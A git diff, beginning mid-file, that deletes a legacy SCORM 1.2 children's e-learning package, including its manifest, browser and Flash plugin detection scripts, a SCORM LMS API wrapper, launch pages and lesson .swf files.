-         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
-          xsi:schemaLocation="http://www.imsproject.org/xsd/imscp_rootv1p1p2 imscp_rootv1p1p2.xsd 
-                              http://www.imsglobal.org/xsd/imsmd_rootv1p2p1 imsmd_rootv1p2p1.xsd 
-                              http://www.adlnet.org/xsd/adlcp_rootv1p2 adlcp_rootv1p2.xsd">
-	<organizations default="MANIFESTD_ORG_0001">
-    	<organization identifier="MANIFESTD_ORG_0001">
-			<title>ELearning for kids: Language</title>
-			<item identifier="ITEM_EFK" identifierref="RESOURCE_EFK_00_00_00_00" isvisible="true">
-				<title>ELearning for kids: Language</title>
-			</item>
-		<metadata>
-			<schema>ADL SCORM</schema>
-			<schemaversion>1.2</schemaversion>
-			<adlcp:location>metadata.xml</adlcp:location>
-		</metadata>
-    	</organization>
-  	</organizations>
- 	<resources>
-		 <resource identifier="RESOURCE_EFK_00_00_00_00" type="webcontent" href="index.html" adlcp:scormtype="sco">
-	        <file href="index.html" />
-			<dependency identifierref="RESOURCE_EFK_00_00_00_00_r" /> 
-		</resource>
-        <resource identifier="RESOURCE_EFK_00_00_00_00_r" type="webcontent" href="efk_shell.swf" adlcp:scormtype="asset">			
-			
-			<file href="js/scorm_api.js" />
-			<file href="js/browser-detection.js" />
-			<file href="js/fpi-init.js" />
-			<file href="js/fpi-main.js" />
-			<file href="js/fpi-swap.js" />
-			<file href="js/fpi-writevb.js" />
-
-			<file href="course.xml" />		
-			<file href="efk_shell.swf" />
-			<file href="index.html" />
-			<file href="launch.html" />
-
-			<file href="html/fpi_blank.html" />
-			<file href="html/fpi_detection.html" />
-			<file href="html/fpi_flash.html" />
-			<file href="html/fpi_no_flash.html" />
-			<file href="html/fpi_upgrade_flash.html" />
-			<file href="html/launch.html" />
-			<file href="html/os_browser_detection.html" />
-			<file href="html/os_not_compatible_page.html" />
-
-			<file href="images/launch.gif" />
-			<file href="images/bg_03.jpg" />
-			<file href="images/efk_logo.png" />
-
-			
-		</resource>	
-	</resources>
-</manifest>
diff --git a/Explore/elr/Other/O0005/index.html b/Explore/elr/Other/O0005/index.html
deleted file mode 100755
index 6cd6a4c..0000000
--- a/Explore/elr/Other/O0005/index.html
+++ /dev/null
@@ -1,24 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="js/scorm_api.js"></script>
-<script>
-function fnpopup(){
-    var wo=window.open("../launch.html","efk_course",'top=0, left=0, scrollbars=0,resizable=0, fullScreen=yes, dependent=yes');
-	if (wo==null || typeof(wo)=="undefined") {
-		alert("We have noticed that you are using a pop-up blocker; to view this site correctly you will need to switch off any pop-up blocking software.");
-	} 
-	wo.focus();
- }
- </script>
-</head>
-<frameset rows="100,0" frameborder="Yes" border="0" framespacing="0" onload="initSco()" onUnLoad="finish()">
-  <frame src="html/os_browser_detection.html" name="mainFrame">
-  <frame src="html/fpi_blank.html" name="bottomFrame" scrolling="auto" noresize>
-</frameset>
-<noframes>
-</noframes>
-</html>
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/js/browser-detection.js b/Explore/elr/Other/O0005/js/browser-detection.js
deleted file mode 100755
index 54d8b3b..0000000
--- a/Explore/elr/Other/O0005/js/browser-detection.js
+++ /dev/null
@@ -1,185 +0,0 @@
-// JavaScript Document v:1.3
-// Requires navigator 2.0, Internet Explorer 3.0
-
-// Browser ::
-//navigator.appVersion
-//navigator.appName
-//navigator.appCodeName(code name of browser)
-
-var agt, os, browser, version, place, thestring, osVer;
-var notCompatiblePage = "../html/os_not_compatible_page.html";
-var compatiblePage = "../html/launch.html";
-var flashDetectionPage = "../html/fpi_detection.html";
-
-// Browser Version Required for Windows
-var winIEVer = 4;
-var winNetscapeVer = 4;
-var winOperaVer = 6;
-var winAOLVer = 7;
-var winMozillaVer = 1;
-
-// Browser Version Required for Mac
-var macIEVer = 5;
-var macNetscapeVer = 4.7;
-var macOperaVer = 5;
-var macMozillaVer = 1;
-
-// Browser Version Required for Linux
-var linuxMozillaVer = 1.1;
-
-function getAgtInfo() {
-	agt = navigator.userAgent.toLowerCase();
-	if (checkIt('konqueror')) {
-		browser = "Konqueror";
-		os = "Linux";
-		osVer = "na";
-	} else if (checkIt('safari')) {
-		browser = "Safari";
-	} else if (checkIt('aol')) {
-		browser = "AOL";
-	} else if (checkIt('opera')) {
-		browser = "Opera";
-		if (agt.indexOf("opera 2") != -1 || agt.indexOf("opera/2") != -1) {
-			version = 2;
-		} else if (agt.indexOf("opera 3") != -1 || agt.indexOf("opera/3") != -1) {
-			version = 3;
-		} else if (agt.indexOf("opera 4") != -1 || agt.indexOf("opera/4") != -1) {
-			version = 4;
-		} else if (agt.indexOf("opera 5") != -1 || agt.indexOf("opera/5") != -1) {
-			version = 5;
-		} else if (agt.indexOf("opera 6") != -1 || agt.indexOf("opera/6") != -1) {
-			version = 6;
-		} else if (agt.indexOf("opera 7") != -1 || agt.indexOf("opera/7") != -1) {
-			version = 7;
-		} else {
-			version = 0;
-		}
-	} else if (checkIt('msie')) {
-		browser = "IE";
-	} else if (!checkIt('compatible')) {
-		browser = "Netscape";
-		//alert(navigator.appVersion.substr(0, 3));
-		//version = agt.charAt(8);
-		version = navigator.appVersion.substr(0, 3);
-		if(Number(version) == NaN || Number(version) == "NaN") {
-			version = agt.charAt(8);
-		}
-	} else if ((agt.indexOf("mozilla")) != -1 && browser == undefined) {
-		browser = "Mozilla";
-	} else {
-		browser = "unknown browser";
-	}
-	if (!version) {
-		version = agt.charAt(place+thestring.length);
-	}
-	if (!os) {
-		if (checkIt('linux')) {
-			os = "Linux";
-			osVer = "na";
-		} else if (checkIt('x11')) {
-			os = "Unix";
-			osVer = "na";
-		} else if (checkIt('mac')) {
-			os = "Mac";
-			if((((agt.indexOf("68k")!=-1) || (agt.indexOf("68000")!=-1)))){
-				osVer = "mac 68k"
-			} else if((((agt.indexOf("ppc")!=-1) || (agt.indexOf("powerpc")!=-1)))) {
-				osVer = "mac powerpc"
-			}
-		} else if (checkIt('win')) {
-			os = "Win";
-			if((((agt.indexOf("win98")!=-1) || (agt.indexOf("windows 98")!=-1)))){
-				osVer = "Win 98"
-			} else if((((agt.indexOf("win95")!=-1) || (agt.indexOf("windows 95")!=-1)))) {
-				osVer = "Win 95"
-			} else if((((agt.indexOf("win 9x 4.90")!=-1)))) {
-				osVer = "Win ME"
-			} else if((((agt.indexOf("windows nt 5.0")!=-1) || (agt.indexOf("windows 2000")!=-1)))) {
-				osVer = "Win 2k"
-			} else if((((agt.indexOf("windows nt 5.1")!=-1) || (agt.indexOf("windows xp")!=-1)))) {
-				osVer = "Win XP"
-			} else if((((agt.indexOf("winnt")!=-1) || (agt.indexOf("windows nt")!=-1)))) {
-				osVer = "Win NT"
-			}
-		} else {
-			os = "unknown operating system";
-		}
-	}
-	checkCompatibility();
-}
-function checkIt(string) {
-	place = agt.indexOf(string)+1;
-	thestring = string;
-	return place;
-}
-function checkCompatibility() {
-	//alert("agt: "+agt+" Your OS is: "+os+" & browser is: "+browser+" & version: "+Number(version));
-	//alert(navigator.appCodeName);
-	if(os != "unknown operating system") {
-		if (os == "Win") {		 
-			if (osVer == "Win 95" || osVer == "Win 98" || osVer == "Win ME" || osVer == "Win NT" || osVer == "Win 2k" || osVer == "Win XP") {
-				if (browser == "IE" && (Number(version) >= winIEVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);					
-				} else if (browser == "Netscape" && (Number(version) >= winNetscapeVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Opera" && (Number(version) >= winOperaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "AOL" && (Number(version) >= winAOLVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else if (browser == "Mozilla" && (Number(version) >= winMozillaVer)) {
-					window.location.replace(compatiblePage);
-					parent.bottomFrame.location.replace(flashDetectionPage);
-				} else {
-					window.location.replace(notCompatiblePage);
-					//window.location = compatiblePage;
-				}	
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = notCompatiblePage;
-			}
-		} else if (os == "Mac") {
-			//alert("browser: "+browser+" & macIEVer: "+macIEVer+" & macNetscapeVer: "+macNetscapeVer+" & navigator.appVersion: "+navigator.appVersion);
-			if (browser == "IE" && (Number(version) >= macIEVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Netscape" && (Number(version) >= macNetscapeVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Opera" && (Number(version) >= macOperaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "AOL") {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else if (browser == "Mozilla" && (Number(version) >= macMozillaVer)) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else if (os == "Linux") {
-			if(browser == "Konqueror") {
-				//window.location.replace(compatiblePage);
-				window.location.replace(notCompatiblePage);
-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Other/O0005/js/fpi-init.js b/Explore/elr/Other/O0005/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Other/O0005/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/js/fpi-main.js b/Explore/elr/Other/O0005/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Other/O0005/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/js/fpi-swap.js b/Explore/elr/Other/O0005/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Other/O0005/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/js/fpi-writevb.js b/Explore/elr/Other/O0005/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Other/O0005/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Other/O0005/js/scorm_api.js b/Explore/elr/Other/O0005/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Other/O0005/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Other/O0005/launch.html b/Explore/elr/Other/O0005/launch.html
deleted file mode 100755
index 44fb4da..0000000
--- a/Explore/elr/Other/O0005/launch.html
+++ /dev/null
@@ -1,28 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript">
-<!--
-	function fnShowPopup(htmlfile){
-		w=700;
-		h=541;
-		 var wo= window.open("media/"+htmlfile,"_blank","width="+w+", height="+h+",scrollbars=no,resizable=no,status=no, left=" + (window.screen.width-w)/2 +", top="+(window.screen.height-h)/2);
-		wo.focus();
-
-	}
-	function fnGetData(){
-		return(window.opener.fnGetData());
-	}
-	function finish(){
-		window.opener.close();
-	}
-//-->
-</script>
-</head>
-<script language="javascript">
-		document.write("<HTML><HEAD><meta http-equiv=Content-Type content=text/html;  charset=ISO-8859-1\"><TITLE>Key Boarding</TITLE>");
-		document.write("</HEAD><BODY scroll=no leftmargin=\"0\" topmargin=\"0\" marginwidth=\"0\" marginheight=\"0\" onUnLoad=\"finish()\" ><table height=\"100%\" width=\"100%\"><tr><td align=\"center\" valign=\"middle\"><OBJECT classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\"codebase=\"https://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=7,0,0,0\" WIDTH=\"800\" HEIGHT=\"600\" id=\"myFlash\" ALIGN=\"\"> <PARAM NAME=movie VALUE=\"efk_shell.swf?BookMark_data="+fnGetData()+"\"> <PARAM NAME=quality VALUE=high> <PARAM NAME=menu VALUE=false> <PARAM NAME=loop VALUE=false><PARAM NAME=bgcolor VALUE=#FFFFFF> <EMBED src=\"efk_shell.swf?BookMark_data="+fnGetData()+"\" quality=high bgcolor=#FFFFFF  WIDTH=\"800\" HEIGHT=\"600\" NAME=\"myFlash\" ALIGN=\"\" TYPE=\"application/x-shockwave-flash\" PLUGINSPAGE=\"https://www.macromedia.com/go/getflashplayer\"></EMBED></OBJECT></td></tr></table></BODY></HTML>");
- </script>
-</html>
diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p01.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p01.swf
deleted file mode 100755
index 6feb6ed..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p01.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p02.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p02.swf
deleted file mode 100755
index baa5c02..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p02.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p03.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p03.swf
deleted file mode 100755
index 484d265..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p03.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p04.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p04.swf
deleted file mode 100755
index b5992fd..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p04.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p05.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p05.swf
deleted file mode 100755
index 41f0ef7..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p05.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p06.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p06.swf
deleted file mode 100755
index 37dafc2..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p06.swf
+++ /dev/null
diff --git a/Explore/elr/Other/O0005/media/lesson_00/L1_p07.swf b/Explore/elr/Other/O0005/media/lesson_00/L1_p07.swf
deleted file mode 100755
index cef9013..0000000
--- a/Explore/elr/Other/O0005/media/lesson_00/L1_p07.swf
+++ /dev/null
